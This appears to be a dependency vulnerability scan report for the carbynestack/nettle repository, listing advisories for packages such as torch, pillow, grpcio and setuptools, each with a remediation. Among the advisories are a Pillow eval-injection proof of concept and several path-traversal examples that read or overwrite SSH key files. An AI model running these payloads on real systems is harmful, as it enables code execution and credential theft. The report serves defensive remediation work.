Vulnerabilities

40 via 127 paths

Dependencies

28

Source

GitHub

Commit

580b7f2b

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 40
  • 1
Severity
  • 3
  • 12
  • 23
  • 3
Status
  • 41
  • 0
  • 0

critical severity

Improper Following of a Certificate's Chain of Trust

  • Vulnerable module: certifi
  • Introduced through: certifi@2022.12.7, requests@2.28.2 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb certifi@2022.12.7
    Remediation: Upgrade to certifi@2023.7.22.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb requests@2.28.2 certifi@2022.12.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb docker@5.0.3 requests@2.28.2 certifi@2022.12.7
    Remediation: Upgrade to docker@7.0.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 requests@2.28.2 certifi@2022.12.7
    Remediation: Upgrade to torchvision@0.17.1.

Overview

Affected versions of this package are vulnerable to Improper Following of a Certificate's Chain of Trust. E-Tugra's root certificates are being removed pursuant to an investigation prompted by reporting of security issues in their systems. Conclusions of Mozilla's investigation can be found here.

Note:

This issue is not an inherent vulnerability in the package, but a security measure against potential harmful effects of trusting the now-revoked root certificates.

Remediation

Upgrade certifi to version 2023.7.22 or higher.

References

critical severity

Heap-based Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@9.4.0 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb pillow@9.4.0
    Remediation: Upgrade to pillow@10.0.1.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 pillow@9.4.0
    Remediation: Upgrade to torchvision@0.17.2.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow when the ReadHuffmanCodes() function is used. An attacker can craft a special WebP lossless file that triggers the ReadHuffmanCodes() function to allocate the HuffmanCode buffer with a size that comes from an array of precomputed sizes: kTableSize. The color_cache_bits value defines which size to use. The kTableSize array only takes into account sizes for 8-bit first-level table lookups but not second-level table lookups. libwebp allows codes that are up to 15-bit (MAX_ALLOWED_CODE_LENGTH). When BuildHuffmanTable() attempts to fill the second-level tables it may write data out-of-bounds. The OOB write to the undersized array happens in ReplicateValue.

Notes:

This is only exploitable if the color_cache_bits value defines which size to use.

This vulnerability was also published on libwebp CVE-2023-5129

Changelog:

2023-09-12: Initial advisory publication

2023-09-27: Advisory details updated, including CVSS, references

2023-09-27: CVE-2023-5129 rejected as a duplicate of CVE-2023-4863

2023-09-28: Research and addition of additional affected libraries

2024-01-28: Additional fix information

Remediation

Upgrade Pillow to version 10.0.1 or higher.

References

critical severity

Deserialization of Untrusted Data

  • Vulnerable module: torch
  • Introduced through: torch@1.13.1 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1
    Remediation: Upgrade to torch@2.6.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1
    Remediation: Upgrade to torchvision@0.17.2.

Overview

torch is a Tensors and Dynamic neural networks in Python with strong GPU acceleration

Affected versions of this package are vulnerable to Deserialization of Untrusted Data when using the torch.load() function on an untrusted model with weights_only=True, which is documented to be secure. (The documentation does note that "Loading un-trusted checkpoint with weights_only=False MUST never be done.") An attacker can cause the contents of a malicious .tar file to be loaded and executed by forcing the use of the legacy_load() function.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade torch to version 2.6.0 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: protobuf
  • Introduced through: protobuf@3.20.3, flwr@1.3.0 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb protobuf@3.20.3
    Remediation: Upgrade to protobuf@4.25.8.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb flwr@1.3.0 protobuf@3.20.3
    Remediation: Upgrade to flwr@1.8.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb grpcio-tools@1.47.5 protobuf@3.20.3
    Remediation: Upgrade to grpcio-tools@1.57.0.

Overview

protobuf is a Google’s data interchange format

Affected versions of this package are vulnerable to Uncontrolled Recursion when parsing untrusted Protocol Buffers data containing an excessive number of recursive groups, recursive messages, or a series of SGROUP tags. An attacker can provide crafted input that will corrupt the backend by exceeding the Python recursion limit and result in denial of service by crashing the application with a RecursionError.

Note: This problem impacts only the pure-Python implementation of the protobuf-python backend and does not influence the CPython PyPi wheels, which, by default, do not utilize pure Python.

Remediation

Upgrade protobuf to version 4.25.8, 5.29.5, 6.31.1 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: torch
  • Introduced through: torch@1.13.1 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1
    Remediation: Upgrade to torch@2.2.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1
    Remediation: Upgrade to torchvision@0.17.2.

Overview

torch is a Tensors and Dynamic neural networks in Python with strong GPU acceleration

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the /runtime/vararg_functions.cpp component. An attacker can cause a crash or potentially execute arbitrary code by supplying crafted input.

Remediation

Upgrade torch to version 2.2.0 or higher.

References

high severity

Buffer Overflow

  • Vulnerable module: torch
  • Introduced through: torch@1.13.1 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1

Overview

torch is a Tensors and Dynamic neural networks in Python with strong GPU acceleration

Affected versions of this package are vulnerable to Buffer Overflow through the pad_packed_sequence function in nn/utils/rnn.py. An attacker can corrupt memory by manipulating the internal state of the function.

Remediation

There is no fixed version for torch.

References

high severity

Eval Injection

  • Vulnerable module: pillow
  • Introduced through: pillow@9.4.0 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb pillow@9.4.0
    Remediation: Upgrade to pillow@10.2.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 pillow@9.4.0
    Remediation: Upgrade to torchvision@0.17.2.

Overview

Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.

PoC

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: torch
  • Introduced through: torch@1.13.1 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1
    Remediation: Upgrade to torch@2.2.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1
    Remediation: Upgrade to torchvision@0.17.2.

Overview

torch is a Tensors and Dynamic neural networks in Python with strong GPU acceleration

Affected versions of this package are vulnerable to Use After Free due to improper handling of memory in the interpreter.cpp component. An attacker can execute arbitrary code or cause a denial of service.

Remediation

Upgrade torch to version 2.2.0 or higher.

References

high severity

Excessive Iteration

  • Vulnerable module: grpcio
  • Introduced through: grpcio@1.47.5, flwr@1.3.0 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb grpcio@1.47.5
    Remediation: Upgrade to grpcio@1.53.2.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb flwr@1.3.0 grpcio@1.47.5
    Remediation: Upgrade to flwr@1.8.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb grpcio-tools@1.47.5 grpcio@1.47.5
    Remediation: Upgrade to grpcio-tools@1.57.0.

Overview

Affected versions of this package are vulnerable to Excessive Iteration. Specially crafted requests can cause a termination of connection between a proxy and a backend.

Remediation

Upgrade grpcio to version 1.53.2, 1.54.3, 1.55.3, 1.56.2 or higher.

References

high severity

Uncaught Exception

  • Vulnerable module: grpcio
  • Introduced through: grpcio@1.47.5, flwr@1.3.0 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb grpcio@1.47.5
    Remediation: Upgrade to grpcio@1.53.2.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb flwr@1.3.0 grpcio@1.47.5
    Remediation: Upgrade to flwr@1.8.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb grpcio-tools@1.47.5 grpcio@1.47.5
    Remediation: Upgrade to grpcio-tools@1.57.0.

Overview

grpcio is a None

Affected versions of this package are vulnerable to Uncaught Exception. due to the lack of error handling in the TCP server. An attacker can cause a denial of service by initiating a significant number of connections with the server.

Note:

This is only exploitable if the server is running on posix-compatible platforms such as Linux.

Remediation

Upgrade grpcio to version 1.53.2, 1.54.3, 1.55.3, 1.56.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@9.4.0 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb pillow@9.4.0
    Remediation: Upgrade to pillow@10.2.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 pillow@9.4.0
    Remediation: Upgrade to torchvision@0.17.2.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@9.4.0 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb pillow@9.4.0
    Remediation: Upgrade to pillow@10.2.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 pillow@9.4.0
    Remediation: Upgrade to torchvision@0.17.2.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: pillow
  • Introduced through: pillow@9.4.0 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb pillow@9.4.0
    Remediation: Upgrade to pillow@10.0.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 pillow@9.4.0
    Remediation: Upgrade to torchvision@0.17.2.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.

Remediation

Upgrade pillow to version 10.0.0 or higher.

References

high severity

Improper Control of Generation of Code ('Code Injection')

  • Vulnerable module: setuptools
  • Introduced through: grpcio-tools@1.47.5, nvidia-cublas-cu11@11.10.3.66 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb grpcio-tools@1.47.5 setuptools@40.5.0
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to nvidia-cublas-cu11@11.11.3.6.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb nvidia-cuda-runtime-cu11@11.7.99 setuptools@40.5.0
    Remediation: Upgrade to nvidia-cuda-runtime-cu11@11.8.89.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb nvidia-cudnn-cu11@8.5.0.96 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to nvidia-cudnn-cu11@8.5.0.96.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to torch@2.0.1.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1 nvidia-cuda-runtime-cu11@11.7.99 setuptools@40.5.0
    Remediation: Upgrade to torch@2.0.1.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1 nvidia-cudnn-cu11@8.5.0.96 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to torch@2.0.1.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to torchvision@0.17.2.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1 nvidia-cuda-runtime-cu11@11.7.99 setuptools@40.5.0
    Remediation: Upgrade to torchvision@0.17.2.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1 nvidia-cudnn-cu11@8.5.0.96 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to torchvision@0.17.2.

Overview

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index module's download functions due to the unsafe usage of os.system. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.

Note

Because easy_install and package_index are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.

Remediation

Upgrade setuptools to version 70.0.0 or higher.

References

high severity

Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@9.4.0 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb pillow@9.4.0
    Remediation: Upgrade to pillow@10.3.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 pillow@9.4.0
    Remediation: Upgrade to torchvision@0.17.2.

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.

Remediation

Upgrade pillow to version 10.3.0 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: zipp
  • Introduced through: click@8.1.3 and flwr@1.3.0

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb click@8.1.3 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to click@8.2.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb flwr@1.3.0 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to flwr@1.6.0.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: setuptools
  • Introduced through: grpcio-tools@1.47.5, nvidia-cublas-cu11@11.10.3.66 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb grpcio-tools@1.47.5 setuptools@40.5.0
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to nvidia-cublas-cu11@11.11.3.6.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb nvidia-cuda-runtime-cu11@11.7.99 setuptools@40.5.0
    Remediation: Upgrade to nvidia-cuda-runtime-cu11@11.8.89.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb nvidia-cudnn-cu11@8.5.0.96 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to nvidia-cudnn-cu11@8.5.0.96.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to torch@2.0.1.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1 nvidia-cuda-runtime-cu11@11.7.99 setuptools@40.5.0
    Remediation: Upgrade to torch@2.0.1.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1 nvidia-cudnn-cu11@8.5.0.96 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to torch@2.0.1.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to torchvision@0.17.2.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1 nvidia-cuda-runtime-cu11@11.7.99 setuptools@40.5.0
    Remediation: Upgrade to torchvision@0.17.2.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1 nvidia-cudnn-cu11@8.5.0.96 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to torchvision@0.17.2.

Overview

Affected versions of this package are vulnerable to Directory Traversal through the ‎PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.

PoC

python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade setuptools to version 78.1.1 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: torch
  • Introduced through: torch@1.13.1 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1

Overview

torch is a Tensors and Dynamic neural networks in Python with strong GPU acceleration

Affected versions of this package are vulnerable to Buffer Overflow due to the unpack_sequence function. An attacker can corrupt memory by manipulating the function's input. This is only exploitable if the attacker has local access to the system.

Remediation

There is no fixed version for torch.

References

medium severity

Improper Check for Unusual or Exceptional Conditions

  • Vulnerable module: torch
  • Introduced through: torch@1.13.1 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1
    Remediation: Upgrade to torch@2.8.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1
    Remediation: Upgrade to torchvision@0.17.2.

Overview

torch is a Tensors and Dynamic neural networks in Python with strong GPU acceleration

Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions in the ctc_loss() function in LossCTC.cpp, when running on a CUDA system. An attacker can cause the application to crash by passing in input with empty tensors.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade torch to version 2.8.0 or higher.

References

medium severity

Improper Resource Shutdown or Release

  • Vulnerable module: torch
  • Introduced through: torch@1.13.1 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1

Overview

torch is a Tensors and Dynamic neural networks in Python with strong GPU acceleration

Affected versions of this package are vulnerable to Improper Resource Shutdown or Release through the torch.cuda.nccl.reduce function in the file torch/cuda/nccl.py. An attacker can cause the application to crash by manipulating the function inputs on a local host.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Expected Behavior Violation

  • Vulnerable module: grpcio
  • Introduced through: grpcio@1.47.5, flwr@1.3.0 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb grpcio@1.47.5
    Remediation: Upgrade to grpcio@1.58.3.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb flwr@1.3.0 grpcio@1.47.5
    Remediation: Upgrade to flwr@1.8.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb grpcio-tools@1.47.5 grpcio@1.47.5
    Remediation: Upgrade to grpcio-tools@1.57.0.

Overview

Affected versions of this package are vulnerable to Expected Behavior Violation via the HPackParser function when the gRPC client is communicating with an HTTP/2 proxy, allowing the attacker to poison the HPACK table. By manipulating the header encoding and poisoning the HPACK table between the proxy and the backend, an attacker can cause other gRPC clients to see failed requests or potentially leak HTTP header keys but not their values.

This vulnerability exists because the error status for a misencoded header is not cleared between header reads, resulting in subsequent (incrementally indexed) added headers in the first request being poisoned until cleared from the HPACK table.

Remediation

Upgrade grpcio to version 1.58.3, 1.59.5, 1.60.2, 1.62.3, 1.63.2, 1.64.3, 1.65.4 or higher.

References

medium severity

Resource Exhaustion

  • Vulnerable module: idna
  • Introduced through: idna@3.4, requests@2.28.2 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb idna@3.4
    Remediation: Upgrade to idna@3.7.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb requests@2.28.2 idna@3.4
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb docker@5.0.3 requests@2.28.2 idna@3.4
    Remediation: Upgrade to docker@7.0.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 requests@2.28.2 idna@3.4
    Remediation: Upgrade to torchvision@0.17.1.

Overview

Affected versions of this package are vulnerable to Resource Exhaustion via the idna.encode function. An attacker can consume significant resources and potentially cause a denial-of-service by supplying specially crafted arguments to this function.

Note: This is triggered by arbitrarily large inputs that would not occur in normal usage but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

Remediation

Upgrade idna to version 3.7 or higher.

References

medium severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: certifi
  • Introduced through: certifi@2022.12.7, requests@2.28.2 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb certifi@2022.12.7
    Remediation: Upgrade to certifi@2024.7.4.
